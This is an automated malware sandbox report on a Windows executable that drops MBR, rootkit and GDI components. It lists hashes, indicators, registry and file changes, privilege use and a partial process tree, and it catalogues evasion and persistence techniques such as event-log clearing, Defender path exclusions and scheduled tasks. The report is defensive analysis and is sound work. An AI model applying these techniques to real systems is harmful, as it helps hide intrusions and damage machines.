Analysis
- user interaction
yes - max time kernel
300s - max time network
302s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
27/07/2026, 14:04
Static task
static1
Behavioral task
behavioral1
Sample
nasser &&, badr.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
nasser &&, badr.exe
Resource
win11ltsc2024-20260709-en
General
- Target nasser &&, badr.exe
- Size 643KB
- Sample260727-rdfd5st1bw
- SHA256 c9a5664b921b9a86746511903610ef2cab53a205c6afee57342b9fd374df243d
- MD5 d7f36d82f1ca93725f45ae82caa8ec11
- SHA1 cde21f0798d6ee0c118d3999ac766475b4ba70a6
- SHA512 122bf190035c4c754ef00600ccf70fbceedadd5e9d3c3a3940c2d5c065b8b236cc92d42774f7dcf8e1f096219060484266161d4b9c0ecf090029ce1eb8da404e
- SSDEEP 6144:4mv8xz7Ko1+nlCpwEFABDKXI1XLUdoTF5+IOftHpGEFWYgKVeb8gE43FJDWGquGr:4I8xfK2qYdCWvgYpu8O3Fx9LGoe
- TLSH T1A8E4194AF653A1BCD52BC1718BAB6633B932BC1C4135797F4A14D77A7EA1E000638F26
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4348 powershell.exe 4348 powershell.exe - Executes dropped EXE 9 IoCs
pid Process 3880 PrintServiceRuntime.exe 2260 PrintServiceRuntime.exe 6128 PrintServiceRuntime.exe 4716 Squidward.exe 2976 Squidward.exe 4688 MasonMBR-SLEEP.exe 1408 MasonRootkit.exe 4720 MasonGDI.exe 2964 MasonGDI.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 5 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Inventory.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx svchost.exe - Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
pid Process 964 cmd.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\M: unregmp2.exe File opened (read-only) \??\O: unregmp2.exe File opened (read-only) \??\T: unregmp2.exe File opened (read-only) \??\S: wmplayer.exe File opened (read-only) \??\W: wmplayer.exe File opened (read-only) \??\X: wmplayer.exe File opened (read-only) \??\Y: wmplayer.exe File opened (read-only) \??\J: unregmp2.exe File opened (read-only) \??\K: unregmp2.exe File opened (read-only) \??\N: unregmp2.exe File opened (read-only) \??\V: unregmp2.exe File opened (read-only) \??\W: unregmp2.exe File opened (read-only) \??\Y: unregmp2.exe File opened (read-only) \??\I: wmplayer.exe File opened (read-only) \??\M: wmplayer.exe File opened (read-only) \??\B: unregmp2.exe File opened (read-only) \??\G: unregmp2.exe File opened (read-only) \??\R: unregmp2.exe File opened (read-only) \??\Z: unregmp2.exe File opened (read-only) \??\A: wmplayer.exe File opened (read-only) \??\R: wmplayer.exe File opened (read-only) \??\T: wmplayer.exe File opened (read-only) \??\K: wmplayer.exe File opened (read-only) \??\O: wmplayer.exe File opened (read-only) \??\U: wmplayer.exe File opened (read-only) \??\D: unregmp2.exe File opened (read-only) \??\I: unregmp2.exe File opened (read-only) \??\B: wmplayer.exe File opened (read-only) \??\P: wmplayer.exe File opened (read-only) \??\H: wmplayer.exe File opened (read-only) \??\Q: unregmp2.exe File opened (read-only) \??\S: unregmp2.exe File opened (read-only) \??\U: unregmp2.exe File opened (read-only) \??\D: wmplayer.exe File opened (read-only) \??\V: wmplayer.exe File opened (read-only) \??\Z: wmplayer.exe File opened (read-only) \??\G: wmplayer.exe File opened (read-only) \??\X: unregmp2.exe File opened (read-only) \??\J: wmplayer.exe File opened (read-only) \??\N: wmplayer.exe File opened (read-only) \??\Q: wmplayer.exe File opened (read-only) \??\A: unregmp2.exe File opened (read-only) \??\H: unregmp2.exe File opened (read-only) \??\L: unregmp2.exe File opened (read-only) \??\P: unregmp2.exe File opened (read-only) \??\L: wmplayer.exe - Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 964 cmd.exe - Indicator Removal: Clear Persistence 1 TTPs 1 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4580 cmd.exe - Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\MasonMBR svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe - Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 4152 cmd.exe - Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\32D3DC3946E2890942AFDE2E418F8F72 svchost.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\32D3DC3946E2890942AFDE2E418F8F72 svchost.exe File created C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll svchost.exe - Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
pid Process 964 cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5072 cmd.exe 5076 cmd.exe 4452 cmd.exe 2392 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MasonGDI.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MasonGDI.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wmplayer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language unregmp2.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4328 PING.EXE - Delays execution with timeout.exe 2 IoCs
pid Process 1144 timeout.exe 2536 timeout.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\e4bfbfdf_0 svchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\e4bfbfdf_0\ = "{2}.\\\\?\\hdaudio#func_01&ven_8086&dev_0022&subsys_80860022&rev_1001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\\elineouttopo/00010001|\\Device\\HarddiskVolume2\\Users\\Admin\\AppData\\Local\\Temp\\MasonGDI.exe%b{00000000-0000-0000-0000-000000000000}" svchost.exe - Modifies data under HKEY_USERS 53 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe - Modifies registry class 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\NotificationData explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\NotificationData\0D83063EA3B8FCF5 = 0100000000000002 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ wmplayer.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 4328 PING.EXE - Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2376 schtasks.exe 4352 schtasks.exe 1080 schtasks.exe 3912 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4348 powershell.exe 4348 powershell.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe 1408 MasonRootkit.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1096 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4348 powershell.exe Token: SeIncreaseQuotaPrivilege 4348 powershell.exe Token: SeSecurityPrivilege 4348 powershell.exe Token: SeTakeOwnershipPrivilege 4348 powershell.exe Token: SeLoadDriverPrivilege 4348 powershell.exe Token: SeSystemProfilePrivilege 4348 powershell.exe Token: SeSystemtimePrivilege 4348 powershell.exe Token: SeProfSingleProcessPrivilege 4348 powershell.exe Token: SeIncBasePriorityPrivilege 4348 powershell.exe Token: SeCreatePagefilePrivilege 4348 powershell.exe Token: SeBackupPrivilege 4348 powershell.exe Token: SeRestorePrivilege 4348 powershell.exe Token: SeShutdownPrivilege 4348 powershell.exe Token: SeDebugPrivilege 4348 powershell.exe Token: SeSystemEnvironmentPrivilege 4348 powershell.exe Token: SeRemoteShutdownPrivilege 4348 powershell.exe Token: SeUndockPrivilege 4348 powershell.exe Token: SeManageVolumePrivilege 4348 powershell.exe Token: 33 4348 powershell.exe Token: 34 4348 powershell.exe Token: 35 4348 powershell.exe Token: 36 4348 powershell.exe Token: SeIncreaseQuotaPrivilege 4348 powershell.exe Token: SeSecurityPrivilege 4348 powershell.exe Token: SeTakeOwnershipPrivilege 4348 powershell.exe Token: SeLoadDriverPrivilege 4348 powershell.exe Token: SeSystemProfilePrivilege 4348 powershell.exe Token: SeSystemtimePrivilege 4348 powershell.exe Token: SeProfSingleProcessPrivilege 4348 powershell.exe Token: SeIncBasePriorityPrivilege 4348 powershell.exe Token: SeCreatePagefilePrivilege 4348 powershell.exe Token: SeBackupPrivilege 4348 powershell.exe Token: SeRestorePrivilege 4348 powershell.exe Token: SeShutdownPrivilege 4348 powershell.exe Token: SeDebugPrivilege 4348 powershell.exe Token: SeSystemEnvironmentPrivilege 4348 powershell.exe Token: SeRemoteShutdownPrivilege 4348 powershell.exe Token: SeUndockPrivilege 4348 powershell.exe Token: SeManageVolumePrivilege 4348 powershell.exe Token: 33 4348 powershell.exe Token: 34 4348 powershell.exe Token: 35 4348 powershell.exe Token: 36 4348 powershell.exe Token: SeDebugPrivilege 1408 MasonRootkit.exe Token: SeShutdownPrivilege 1096 explorer.exe Token: SeCreatePagefilePrivilege 1096 explorer.exe Token: SeShutdownPrivilege 1096 explorer.exe Token: SeCreatePagefilePrivilege 1096 explorer.exe Token: SeShutdownPrivilege 1096 explorer.exe Token: SeCreatePagefilePrivilege 1096 explorer.exe Token: SeShutdownPrivilege 1096 explorer.exe Token: SeCreatePagefilePrivilege 1096 explorer.exe Token: SeShutdownPrivilege 1096 explorer.exe Token: SeCreatePagefilePrivilege 1096 explorer.exe Token: 33 4692 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 4692 AUDIODG.EXE Token: SeShutdownPrivilege 4300 unregmp2.exe Token: SeCreatePagefilePrivilege 4300 unregmp2.exe Token: SeShutdownPrivilege 3020 wmplayer.exe Token: SeCreatePagefilePrivilege 3020 wmplayer.exe Token: SeShutdownPrivilege 1096 explorer.exe Token: SeCreatePagefilePrivilege 1096 explorer.exe Token: SeShutdownPrivilege 1096 explorer.exe Token: SeCreatePagefilePrivilege 1096 explorer.exe - Suspicious use of FindShellTrayWindow 5 IoCs
pid Process 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 3020 wmplayer.exe - Suspicious use of SendNotifyMessage 24 IoCs
pid Process 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe 1096 explorer.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2440 Conhost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2548 wrote to memory of 3880 2548 nasser &&, badr.exe 89 PID 3880 wrote to memory of 2260 3880 PrintServiceRuntime.exe 90 PID 3880 wrote to memory of 5072 3880 PrintServiceRuntime.exe 91 PID 5072 wrote to memory of 2356 5072 cmd.exe 93 PID 3880 wrote to memory of 964 3880 PrintServiceRuntime.exe 94 PID 964 wrote to memory of 1304 964 cmd.exe 96 PID 964 wrote to memory of 4348 964 cmd.exe 97 PID 3880 wrote to memory of 5076 3880 PrintServiceRuntime.exe 99 PID 5076 wrote to memory of 4320 5076 cmd.exe 101 PID 5076 wrote to memory of 2376 5076 cmd.exe 102 PID 3880 wrote to memory of 4152 3880 PrintServiceRuntime.exe 103 PID 4152 wrote to memory of 5156 4152 cmd.exe 105 PID 4152 wrote to memory of 4872 4152 cmd.exe 106 PID 3880 wrote to memory of 4580 3880 PrintServiceRuntime.exe 110 PID 4580 wrote to memory of 4844 4580 cmd.exe 112 PID 4580 wrote to memory of 4352 4580 cmd.exe 113 PID 4580 wrote to memory of 4004 4580 cmd.exe 114 PID 4580 wrote to memory of 4328 4580 cmd.exe 115 PID 4580 wrote to memory of 2056 4580 cmd.exe 117 PID 3880 wrote to memory of 2976 3880 PrintServiceRuntime.exe 118 PID 4716 wrote to memory of 4688 4716 Squidward.exe 119 PID 4716 wrote to memory of 1408 4716 Squidward.exe 120 PID 4716 wrote to memory of 4720 4716 Squidward.exe 121 PID 4716 wrote to memory of 1080 4716 Squidward.exe 122 PID 1408 wrote to memory of 748 1408 MasonRootkit.exe 5 PID 1408 wrote to memory of 972 1408 MasonRootkit.exe 9 PID 1408 wrote to memory of 980 1408 MasonRootkit.exe 10 PID 1408 wrote to memory of 1004 1408 MasonRootkit.exe 11 PID 1408 wrote to memory of 1032 1408 MasonRootkit.exe 13 PID 1408 wrote to memory of 1124 1408 MasonRootkit.exe 14 PID 1408 wrote to memory of 1200 1408 MasonRootkit.exe 15 PID 1408 wrote to memory of 1248 1408 MasonRootkit.exe 16 PID 1408 wrote to memory of 1316 1408 MasonRootkit.exe 17 PID 1408 wrote to memory of 1372 1408 MasonRootkit.exe 18 PID 1408 wrote to memory of 1572 1408 MasonRootkit.exe 22 PID 1408 wrote to memory of 1612 1408 MasonRootkit.exe 23 PID 1408 wrote to memory of 1636 1408 MasonRootkit.exe 24 PID 1408 wrote to memory of 1732 1408 MasonRootkit.exe 25 PID 1408 wrote to memory of 1744 1408 MasonRootkit.exe 26 PID 1408 wrote to memory of 1796 1408 MasonRootkit.exe 27 PID 1408 wrote to memory of 2016 1408 MasonRootkit.exe 28 PID 1408 wrote to memory of 2024 1408 MasonRootkit.exe 29 PID 1408 wrote to memory of 2076 1408 MasonRootkit.exe 30 PID 1408 wrote to memory of 2084 1408 MasonRootkit.exe 31 PID 1408 wrote to memory of 2112 1408 MasonRootkit.exe 32 PID 1408 wrote to memory of 2208 1408 MasonRootkit.exe 33 PID 1408 wrote to memory of 2312 1408 MasonRootkit.exe 34 PID 1408 wrote to memory of 2368 1408 MasonRootkit.exe 35 PID 1408 wrote to memory of 2408 1408 MasonRootkit.exe 36 PID 1408 wrote to memory of 2496 1408 MasonRootkit.exe 37 PID 1408 wrote to memory of 2592 1408 MasonRootkit.exe 38 PID 1408 wrote to memory of 2656 1408 MasonRootkit.exe 39 PID 1408 wrote to memory of 2756 1408 MasonRootkit.exe 40 PID 1408 wrote to memory of 2812 1408 MasonRootkit.exe 41 PID 1408 wrote to memory of 2896 1408 MasonRootkit.exe 42 PID 1408 wrote to memory of 2992 1408 MasonRootkit.exe 43 PID 1408 wrote to memory of 2484 1408 MasonRootkit.exe 44 PID 1408 wrote to memory of 3160 1408 MasonRootkit.exe 46 PID 1408 wrote to memory of 3180 1408 MasonRootkit.exe 47 PID 1408 wrote to memory of 3256 1408 MasonRootkit.exe 48 PID 1408 wrote to memory of 3504 1408 MasonRootkit.exe 50 PID 1408 wrote to memory of 3584 1408 MasonRootkit.exe 51 PID 1408 wrote to memory of 3612 1408 MasonRootkit.exe 52 PID 1408 wrote to memory of 3664 1408 MasonRootkit.exe 53 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4872 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:748
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵PID:972
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1200
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵PID:980
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d14bf9ff-cbc6-4be8-a6f6-b130fdb0df6e -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f346e593-f256-4094-87c0-990f1aec389f -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e9c16e0b-c25b-4c34-a5cd-f6043bc8acbf -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ca46a5f8-50f1-4a84-b7c4-f6a1debe7e4e -LifetimeId:d266eb8f-8a75-43e2-b270-b18a690c1fdf -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:1004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:1124
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1316
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1636 -
C:\Users\Admin\AppData\Local\Temp\Squidward.exe"C:\Users\Admin\AppData\Local\Temp\Squidward.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\Users\Admin\AppData\Local\Temp\MasonMBR-SLEEP.exe"C:\Users\Admin\AppData\Local\Temp\MasonMBR-SLEEP.exe"3⤵
- Executes dropped EXE
